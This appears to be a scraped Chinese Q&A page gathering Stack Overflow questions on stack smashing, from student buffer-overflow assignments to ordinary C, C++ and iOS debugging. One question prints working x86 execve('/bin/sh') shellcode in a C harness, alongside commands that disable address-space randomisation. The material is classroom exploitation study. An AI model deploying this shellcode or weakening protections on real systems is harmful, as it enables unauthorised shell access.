标签: stack-smash

如何从命令行提供stdin输入?

我试图对类分配的程序执行缓冲区溢出攻击.攻击程序以及易受攻击的程序都是由我编写的.

易受攻击的代码用于scanf从stdin读取数据.

./vulnerable < malicious_payload_file.txt工作良好. more malicious_payload | ./vulnerable并且echo JUNK_JUNK_JUNK_JUNK | ./vulnerable也按预期工作.

但是,我想使用攻击程序继续提供更长的有效负载,直到程序崩溃.所以,我需要动态生成更大的有效载荷.我正在使用system ("./vulnerable");反复调用和测试异常退出.

如何指定这样的有效负载?

有没有办法运行./vulnerable < malicious_payload_binary或以某种方式使我不必将恶意有效负载放在文件中,但可以在命令行中指定它?

c security penetration-testing stack-smash

3
推荐指数
2
解决办法
7147
查看次数

使用内联汇编启动shell

我正在完成一项学校任务,我完全被难过了.教授和助教没有任何帮助,因为他们为任何学生提供的每一个答案都是"继续寻找,答案就在那里"的一些变化.我正在尝试使用以下代码创建一个shell:

#include <stdio.h>
#include <stdlib.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
printf("running...\n");

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Run Code Online (Sandbox Code Playgroud)

我试图code[]用在网上找到的其他一些例子(包括这个网站)取代,以及教授提供的另一个例子.这些都没有用.我使用gdb进行反汇编并试图构建自己的code[],并且失败了.对于它的价值,我可以说,在普通用户中,我的应用程序会((void(*)( ))buf)( );在线路上发生段错误,只是在同一行的root用户中退出(没有段错误通知).

我不知道在哪里采取这个任务,我不能处理任何后来的缓冲区溢出任务,直到我能理解这个简单的第一步.任何帮助将大大赞赏.

编辑:我忘了提到,我已经在OSX 10.8.2上和通过VirtualBox在Ubuntu VM上尝试过这个.我假设它不适用于OSX,但我很绝望.ha对于Ubuntu,我们被要求做:

sudo #sysctl -w kernel.randomize_va_space = 0

sudo apt-get install zsh cd/bin sudo rm sh sudo ln -s/bin/zsh/bin/sh

这些命令应禁用地址空间随机化,安装zsh并将其链接到/ bin/sh.我在VM中完成了所有这些任务,没有任何错误

assembly buffer-overflow stack-smash shellcode

3
推荐指数
1
解决办法
2972
查看次数

当我访问超出我分配的内存时,为什么我没有得到堆栈粉碎错误?

我应该在这里得到堆栈粉碎错误.我没有得到它的原因是什么?

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct mun
{
    int len;
    char str[0];

};

int main(void)
{

    //char mp[8];
    struct mun *p=malloc(sizeof(struct mun)+2);
    p->len=8;
    strcpy(p->str,"munjalllfff");
    //strcpy(mp,"munjalllfff");

    printf("%s\n",p->str);
    //printf("%s\n",mp);

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

如果可能请解释或(主题名称或链接对我来说足够了.)

c malloc undefined-behavior stack-smash

3
推荐指数
2
解决办法
145
查看次数

What is stack smashing and how do I fix it?

The purpose of this program is to determine if a number between 1 and 1000 is prime by testing its divisibility with the first 11 prime integers. The program functions properly with most inputs. However, when I input an integer such as 468, stack smashing is detected. What is stack smashing and how do I resolve the issue?

I've tried researching stack smashing but I can't find specific examples that relate to my program. I am unaware of alternative methods …

c stack-smash

3
推荐指数
1
解决办法
145
查看次数

在iOS Swift中启用堆栈金丝雀

我一直在寻找一种快速为我的ios应用程序启用堆栈金丝雀的方法,但是后来我发现最新版本的xcode具有默认启用启用堆栈金丝雀所需的标志。因此,然后我正在寻找一种方法来确保启用堆栈金丝雀,正如其他站点所说,我尝试在终端机中使用otool命令($ otool -Iv appName | grep stack_chk)来确保它并期望它返回'stack_chk_guard和stack_chk_fail'标志,但未返回任何值/标志。因此,我然后尝试在“其他C标志”下手动设置标志“ -fstack-protector-all”,但仍然无法通过otool命令看到标志。

在此处输入图片说明

我在这里想念什么?还是我误解了什么?如何确保自己为应用程序启用了堆栈金丝雀?

compiler-flags penetration-testing ios stack-smash

2
推荐指数
1
解决办法
2286
查看次数

COM方法调用意外破坏了堆栈

我有一些代码从COM对象(IDirect3D9)调用一个方法,但每次调用都会导致运行时检查失败#0.失败是由ESP在调用过程中未正确保留引起的,因此存在某种堆栈问题(因为COM方法都是如此__stdcall).不寻常的部分是方法签名和环境的简单性.

代码仅使用32位模式构建,使用DirectX SDK(2010年6月)头文件和库,使用MSVC 10(VS 2010 SP1).我重新安装了SDK以确保标头没有损坏,没有运气.

我已经连接了VS'调试器和WinDBG,以及重新启动/更新驱动程序后多次运行代码.问题每次都会发生,并且是相同的.在gflags中启用堆验证(以及大多数其他选项)似乎不提供任何更多信息,也不运行Application Verifier.两者都只报告与弹出窗口相同的错误,或者不久之后导致的段错误.

如果没有调用(返回一个常量值),程序将按预期运行.我对这里可能出现的问题没有想法.

有问题的函数是IDirect3D9::GetAdapterModeCount从D3D8到9的包装器(旧游戏的图形升级项目的一部分)调用的.有关更多常规信息,完整文件在此处.

我已经尝试了以下所有形式的通话:

UINT r = m_Object->GetAdapterModeCount(D3DADAPTER_DEFAULT, D3DFMT_X8R8G8B8);

UINT r = m_Object->GetAdapterModeCount(0, (D3DFORMAT)22);

UINT adapter = D3DADAPTER_DEFAULT;
D3DFORMAT format = D3DFMT_X8R8G8B8; // and other values
UINT r = m_Object->GetAdapterModecount(adapter, format);
Run Code Online (Sandbox Code Playgroud)

所有这些都导致检查失败.m_Object是有效的IDirect3D9,以前用于各种其他调用,具体为:

201, 80194887, Voodoo3D8, CVoodoo3D8::GetAdapterCount() == 3
201, 80195309, Voodoo3D8, CVoodoo3D8::GetAdapterIdentifier(0, 2, 0939CBAC) == 0
201, 80195309, Voodoo3D8, CVoodoo3D8::GetAdapterDisplayMode(0, 0018F5B4) == 0
201, 80196541, Voodoo3D8, CVoodoo3D8::GetAdapterModeCount(0, D3DFMT_X8R8G8B8) == …
Run Code Online (Sandbox Code Playgroud)

c++ com stack-smash

0
推荐指数
1
解决办法
218
查看次数

***堆栈粉碎检测***中止(核心倾倒)

我正在尝试调试一个给出错误的程序:Abort(core dumped).Valgrind检测到堆栈粉碎并给出一个LEAK SUMMARY,其中1个块仍然可以访问.它向函数downloadAndOpen的第12行发出信号,在那里我有一个我认为在main结束时关闭的fopen,但它似乎不是.我很感激这个bug的帮助.valgrind输出是:

*** stack smashing detected ***: ./mtg terminated
==9594== 
==9594== HEAP SUMMARY:
==9594==     in use at exit: 352 bytes in 1 blocks
==9594==   total heap usage: 1 allocs, 0 frees, 352 bytes allocated
==9594== 
==9594== 352 bytes in 1 blocks are still reachable in loss record 1 of 1
==9594==    at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==9594==    by 0x40BE62B: __fopen_internal (iofopen.c:73)
==9594==    by 0x40BE70A: fopen@@GLIBC_2.1 (iofopen.c:103)
==9594==    by 0x8048729: downloadAndOpen (downloadAndOpen.c:12)
==9594==    by 0x80485B5: main (mtg.c:15)
==9594== 
==9594== LEAK …
Run Code Online (Sandbox Code Playgroud)

c stack-overflow valgrind coredump stack-smash

0
推荐指数
1
解决办法
3万
查看次数

C - 检测到堆栈粉碎

我需要实现一个非常简单的矩阵A的就地LU分解.我正在使用高斯消除,我想用3x3矩阵测试它.问题是,我不断收到stack smashing错误,我不知道为什么.我没有在我的代码中看到任何问题,这可能会做到这一点.你有什么主意吗?

问题可能在分解块中.


###My code:###
#include <stdio.h>

int main() {
    int n = 3; // matrix size

    int A[3][3] = {
        {1, 4, 7},
        {2, 5, 8},
        {3, 6, 10}
    };

    printf("Matrix A:\n");

    for( int i=0; i < n; i++ ) {
        for( int j=0; j < n; j++ ) {
            printf("%d ", A[i][j]);

            if ( j % 2 == 0 && j != 0 ) {
                printf("\n");
            }
        }
    }

    // FACTORIZATION    
    int k;
    int rows;
    for( …
Run Code Online (Sandbox Code Playgroud)

c stack-smash matrix-decomposition

0
推荐指数
1
解决办法
415
查看次数

我一直收到错误"堆栈粉碎检测到"

我正在使用C编程并使用gcc进行编译.每次我编译我得到一个堆栈粉碎检测到错误.这是什么意思,我该如何解决?

#include <stdio.h>

#define MAX_ARRAY 50


static int getScore(int assignmentNum[], int weight[], int daysLate[], float score[]){

  int position, tempWeight, tempLate;
  float tempScore;

  scanf("%d %f %d %d", &position, &tempScore, &tempWeight, &tempLate);
  score[position] = tempScore;
  weight[position] = tempWeight;
  daysLate[position] = tempLate;
  assignmentNum[position] = position;
  return weight[position];
}


int main(void){

  int penalty_points,  num_drop, num_assignment;
  static int assignmentNum[MAX_ARRAY], daysLate[MAX_ARRAY], weight[MAX_ARRAY];
  static float score[MAX_ARRAY];
  char statGen;
  int total = 0;

  scanf("%d %d %s", &penalty_points, &num_drop, &statGen);
  printf("%d\n", penalty_points);

  while (total <  100) {
    total = …
Run Code Online (Sandbox Code Playgroud)

c stack-smash

-2
推荐指数
1
解决办法
817
查看次数